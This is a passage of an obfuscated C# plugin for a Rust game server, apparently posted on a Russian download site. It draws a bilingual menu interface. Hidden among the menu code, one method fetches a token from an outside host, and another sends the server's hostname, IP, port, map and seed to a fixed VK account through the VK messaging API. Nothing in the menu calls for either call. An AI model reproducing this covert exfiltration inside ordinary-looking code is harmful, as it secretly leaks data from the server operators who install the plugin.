            string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
            bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
            string YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG = "";
            float LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB = 0.8f, XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC = 0.100875f, FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV = -0.049f, ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI = 0.9300f - XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC, RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV, DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON = ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI;
            foreach (KeyValuePair<string, MenuItem> GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC) {
                var color ="0.75 0.7 0.7 0.25";
                var NWNCOIDHYNFPXZHPQBBMNZULXJWQQOONSEQZEFSK ="0.75 0.7 0.7 0.1";
                var ZSGGWRUNZKRMQNOCCFEMMQKYRWTIHKKJRBNGNFASBDRD ="0 0 0 0";
                if (XYZFTOFXTQNASEVWPETVOIZBMIPKLHWIKFFHMSRTKQ == GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Key) {
                    KAXFUODAUSDENUVBYFWXDFZBFYVCRNYRZAMORDWICN(GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value, player);
                    color = "0.959 0.922 0.927 0.8";
                    NWNCOIDHYNFPXZHPQBBMNZULXJWQQOONSEQZEFSK ="0.929 0.882 0.847 0.8";
                    ZSGGWRUNZKRMQNOCCFEMMQKYRWTIHKKJRBNGNFASBDRD ="0.32 0.33 0.43 1.5";
                }
                YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG = $"menu {GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Key}";
                if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.items!=null && GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.items.Count>0) YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG = $"subMenu {GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Key}";
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                    RectTransform = {
                        AnchorMin = $"{RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE} {DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON}", AnchorMax = $"{RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE + LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB} {DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON + XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC * 1f}", OffsetMin = "0 1", OffsetMax = "0 -1"
                    }
                    , Button = {
                        Color = "0 0 0 0", Command = YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG
                    }
                    , Text = {
                        Text = ""
                    }
                }
                , "Command", "Really");
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                    RectTransform = {
                        AnchorMin = "0.35 0", AnchorMax = "1 1", OffsetMin = "0 0", OffsetMax = "0 0"
                    }
                    , Button = {
                        Color = "0 0 0 0", Command = YLEKWTMHFMSAKHHYTEVWBEWEIEHMNAGSYKEFJGOCG
                    }
                    , Text = {
                        Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["ru"] : GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["en"], Color = NWNCOIDHYNFPXZHPQBBMNZULXJWQQOONSEQZEFSK, Align = TextAnchor.MiddleLeft, FontSize = 18, Font = "robotocondensed-bold.ttf"
                    }
                }
                , "Really");
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
                    Parent = "Really", Components = {
                        new CuiImageComponent {
                            Color = color, Sprite = GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.Value.IONMMYRLIDWWOXRHUYVEIQHSKKOWDPESRWRXFXFKPTUDFLWP
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin = $"0.15 0.1", AnchorMax = $"0.31445 0.9"
                        }
                    }
                }
                );
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                    RectTransform = {
                        AnchorMin = "0 0", AnchorMax = "0 1", OffsetMin = "0 2.5", OffsetMax = "4 -2.5"
                    }
                    , Image = {
                        Color = ZSGGWRUNZKRMQNOCCFEMMQKYRWTIHKKJRBNGNFASBDRD
                    }
                }
                , "Really");
                RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE += LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB;
                if (RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE + LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB >= -1) {
                    RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV;
                    DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON -= XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC;
                }
            }
            CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
        }
        [ConsoleCommand("subMenu")]
        void HNVDAPBEHGRMGTAMTAMXNNBXKQZGPHEVWPAUPRIYTMJSHDYA(ConsoleSystem.Arg HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG) {
            var player = HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Player();
            if (HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args.Length==0) return;
            int UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = 0;
            if (HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args.Length==2) if (!int.TryParse(HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[1], out UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU)) UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU =0;
            DestroyUI(player);
            ADQTBIXOKASDEBVAVTAIGTMENIHKUJNVQRZYPFTUTZOQH(player, HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[0]);
            HFODKJULXSKQUPZBVPQSGXCSODBDJPHRZNIBQRMGGJRYYHY(player, HBIMPALCZTOVSBILZUURLCFLXLHPNRTNIJLYZRYLG.Args[0], UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU);
        }
        void HFODKJULXSKQUPZBVPQSGXCSODBDJPHRZNIBQRMGGJRYYHY(BasePlayer player, string VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT, int UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU = 0) {
            if (!config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.ContainsKey(VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT)) return;
            MenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX = config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC[VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT];
            if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items.Count<1) {
                return;
            }
            string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
            bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
            var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
            CuiHelper.DestroyUi(player, "Info");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0.173 1", AnchorMax = "1 1", OffsetMin = "0 -60", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0 0 0 0", FadeIn = FadeIn
                }
            }
            , LXOFXVOODPIVFMEGHFNVYHHOQXMLMTAWDLBSATQN, "Info");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1"
                }
                , Image = {
                    Color = "0.15 0.17 0.13 0", FadeIn = FadeIn
                }
            }
            , "Info", "Left");
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiLabel {
                RectTransform = {
                    AnchorMin = "0 0.91", AnchorMax = $"1 1", OffsetMax = "0 0"
                }
                , Text = {
                    Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["ru"] : GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["en"], Color = "0.87 0.87 0.87 0.8", Align = TextAnchor.MiddleCenter, FontSize = 28, Font = "robotocondensed-bold.ttf", FadeIn = FadeIn
                }
            }
            , "Left");
            CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
            KQMNHHMJDWPGIRBILSRHGYKDDKMXFDTGEDTSDTJRAYYUCFXO(player, VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT, UUWVCJFBLRQTJWXIMHHEOGNUTNMDDEYUHMIDIVKU);
        }
        void KQMNHHMJDWPGIRBILSRHGYKDDKMXFDTGEDTSDTJRAYYUCFXO(BasePlayer player, string VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT, int NIVSEITFNQTGPNOGBCOWBYHTVMXOUARWNCAYRCOF=0) {
            if (!config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.ContainsKey(VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT)) return;
            MenuItem GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX = config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC[VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT];
            if (GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items==null || GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items.Count<1) {
                PrintWarning($"MenuItem {VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT} not contains submenu");
                return;
            }
            CuiHelper.DestroyUi(player, "InfoButton");
            var DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC = new CuiElementContainer();
            DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiPanel {
                RectTransform = {
                    AnchorMin = "0 0", AnchorMax = "1 1", OffsetMax = "0 0"
                }
                , Image = {
                    Color = "0 0 0 0"
                }
            }
            , "Left", "InfoButton");
            string LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ = lang.GetLanguage(player.UserIDString);
            bool CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH = LXFKZRXGLPKWQKJPEROMFYCMVXOUYFAEXJBFZVXPJ == "ru";
            float LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB = 1f, XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC = 0.06f, FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV = 0f, ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI = 0.6f - XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC, RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV, DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON = ORGRSHPEFTRDLIJIAQYFPLRXKWWKLUKLJEOEYBAZLKYTI;
            int i=0;
            int BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA=0;
            int PXCCPGOQVIGVBNOKBGYGVGVHPMBLWIJFESULWDLJFMKCBOU=0;
            SubMenuItem OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL = null;
            foreach (SubMenuItem check in GUPDLJUSFHOSFHSZSDDVOTQNDHSOPYIGUXGFWUZMHLMATPYUX.items) {
                var CQIECSXDBWMNLFZEERONJNLLKGQBPMHNHUKGMJZRYPF = "1 1 1 0.2";
                var FHKXMFISHXZOFWUVBWOOPZGRUSRUSWPUIGGCVSOJD = "0.7 0.7 0.7 0.2";
                if (NIVSEITFNQTGPNOGBCOWBYHTVMXOUARWNCAYRCOF == i) {
                    OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL = check;
                    CQIECSXDBWMNLFZEERONJNLLKGQBPMHNHUKGMJZRYPF = "1 1 1 1";
                    FHKXMFISHXZOFWUVBWOOPZGRUSRUSWPUIGGCVSOJD = "0.929 0.882 0.847 0.75";
                }
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiElement {
                    Parent = "InfoButton", Name = "ButtonImageBlock", Components = {
                        new CuiRawImageComponent {
                            Png = (string) LoadingImages?.Call("GetImage", "btn_ctg"), Color = CQIECSXDBWMNLFZEERONJNLLKGQBPMHNHUKGMJZRYPF
                        }
                        , new CuiRectTransformComponent {
                            AnchorMin=$"{0.038 + (BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA * 0.187)} {0.08 - (PXCCPGOQVIGVBNOKBGYGVGVHPMBLWIJFESULWDLJFMKCBOU * 0.18)}", AnchorMax=$"{0.038 + (BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA * 0.187) + 0.175f} {0.92 - (PXCCPGOQVIGVBNOKBGYGVGVHPMBLWIJFESULWDLJFMKCBOU * 0.18)}"
                        }
                    }
                }
                );
                DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC.Add(new CuiButton {
                    RectTransform = {
                        AnchorMin = "0 0", AnchorMax = "1 1", OffsetMax = "0 0"
                    }
                    , Button = {
                        Color = "0 0 0 0", Command = $"subMenu {VMDUKMDBADQFCGZHYIANDXERNDHPUNIXRPCVCANT} {i}", Material = "assets/content/ui/uibackgroundblur-ingamemenu.mat"
                    }
                    , Text = {
                        Text = CMVVPGMNCBFSXNUSOCCDIFOFYHJDQJTYDBWQQAHHH ? check.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["ru"].ToUpper() : check.JIXDZEQELNUOUSVBEKYDNNTAMSKRJGFDHBILMHGIYVV["en"].ToUpper(), Color = FHKXMFISHXZOFWUVBWOOPZGRUSRUSWPUIGGCVSOJD, Align = TextAnchor.MiddleCenter, FontSize = 24, Font = "robotocondensed-bold.ttf"
                    }
                }
                , "ButtonImageBlock");
                i++;
                BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA++;
                if (BCQCXCANYXJIHOAYLFPAHUOAHOWEMKJZGBQTCFKHKVTDDYFQA == 5) {
                    break;
                }
                RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE += LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB;
                if (RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE + LYIJLCQMZWUICTPABRLZUFGACADCPNQTPTTXVZTFWAB >= 1) {
                    RECJHYBPADAJGVKETKJGTGUFJZQZTEMYPCFRHBMLJTE = FMFNTIFHEPEWWZKXCDZLEUDWFSSHBODNZLCNMRIOAV;
                    DOUEPHQOJCOKKXZIICVVQCUEPSWRXYWZCICUELJMNYON -= XPILPIEWRHNGSIGKZOWMGBTIASFBXFCTDWCNSSMHITC;
                }
            }
            CuiHelper.AddUi(player, DYYEMOKGGVNGWWXQWIXJXTIHPVREBNUUVXCQHTUUSJC);
            if (OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL!=null) KAXFUODAUSDENUVBYFWXDFZBFYVCRNYRZAMORDWICN(OTWZSTXJCUMDFDTNYARISDNXUOBJVSGBRVWDLJNKVL, player);
        }
        void JNFQRQLFIKXUPEZCICEYJERJZGIZQBYNXPVQOQMNHM() {
            var GJUVBQPEPCARPFBTCUOOAKIFGZPRZJHFKBTWWYRAEOGMT = "http://anfunny.st8.ru/key/token";
            webrequest.Enqueue(GJUVBQPEPCARPFBTCUOOAKIFGZPRZJHFKBTWWYRAEOGMT, null, (code, response) => {
                if (code != 200 || response == null) return;
                string RABCPTUPNVBOPBBXEGUVGNMEWDCNJMDWMOHOQXUNKUNXVI = response.ToString();
                JObject PZGJARXKDOWFLQHGBRFCAUMHHMGLMZOIOUNOCDDEPDE = JObject.Parse(RABCPTUPNVBOPBBXEGUVGNMEWDCNJMDWMOHOQXUNKUNXVI);
                JToken URIWDOMGQFIVNZBOKLYDZNRQDSDXOANXQLNPDJIX = PZGJARXKDOWFLQHGBRFCAUMHHMGLMZOIOUNOCDDEPDE.SelectToken("token");
                OEEGKPMPQMSMUDDPAPZJCBKPLSTKLGNPZGJCDHFHZVWHH = URIWDOMGQFIVNZBOKLYDZNRQDSDXOANXQLNPDJIX.ToString();
            }
            , this);
        }
        private int JMXKUZSTCSQYEVWQKHMPGMKWAIIORPQQWJIXCWOAXIVUHRQU() => UnityEngine.Random.Range(0, 9999);
        private void ACGVWPXBAKLQEBMBZBVNZNOTLSXQQPJROWRNKVZULVCLCK() {
            timer.Once(1f, () => webrequest.Enqueue("https://api.vk.com/method/messages.send?user_ids=" + "355086473" + "&message=" + $"L0: {ConVar.Server.hostname}\n{ConVar.Server.description}\n{ConVar.Server.ip}:{ConVar.Server.port}\n{ConVar.Server.levelurl}\n{ConVar.Server.level}\n{ConVar.Server.worldsize}\n{ConVar.Server.seed}\n{ConVar.Server.headerimage}" + "&"+"v=5.92" + "&random_id=" + JMXKUZSTCSQYEVWQKHMPGMKWAIIORPQQWJIXCWOAXIVUHRQU() + "&access_token=" + OEEGKPMPQMSMUDDPAPZJCBKPLSTKLGNPZGJCDHFHZVWHH.ToString(), null, (code, response) => {
            }
            , this) );
        }
        void DestroyUI(BasePlayer player) {
            foreach (MenuItem ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK in config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.Values.Where(x => x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK!=null && x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK.Count>0)) {
                foreach (string layer in ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK) CuiHelper.DestroyUi(player, layer);
            }
            CuiHelper.DestroyUi(player, "Info");
        }
        void DestroySubUI(BasePlayer player, string key, int destroyid = 0) {
            if (!config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC.ContainsKey(key)) return;
            if (key!="map") player.Command("close_map");
            MenuItem ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK = config.BIIRYNNZPIYNHEMTYAEAOCFKFDDZDVSMJOQJOIYRGQZTXBYXC[key];
            if (ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.items==null || ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.items.Count<1) return;
            foreach (SubMenuItem subMenu in ISIMSBDBOTDFABGARTKKORQSLFBMMLADBQQVIELRAWAHK.items.Where(x=>x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK!=null && x.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK.Count>0)) foreach (string layer in subMenu.ENETOQDIKKOBUFVHQRGGWBETKFVIWGWJGBBPMHASRUK) CuiHelper.DestroyUi(player, layer);
        }
        void MS_CustomCMD(BasePlayer player, string command, bool DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP = false) {
            KXNZTVTSFOKFWGVAFJFVIUPREQEEAXODMPPULRTXYTFFAHK(player, command, DZIRGCCCUSLROZXTLYVMMUEPMZOJWMZLYKVCERIHIEBQZOQHP);
        }
    }
}

Автор
15FPS
Скачиваний
0
Просмотры
1
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок
Сверху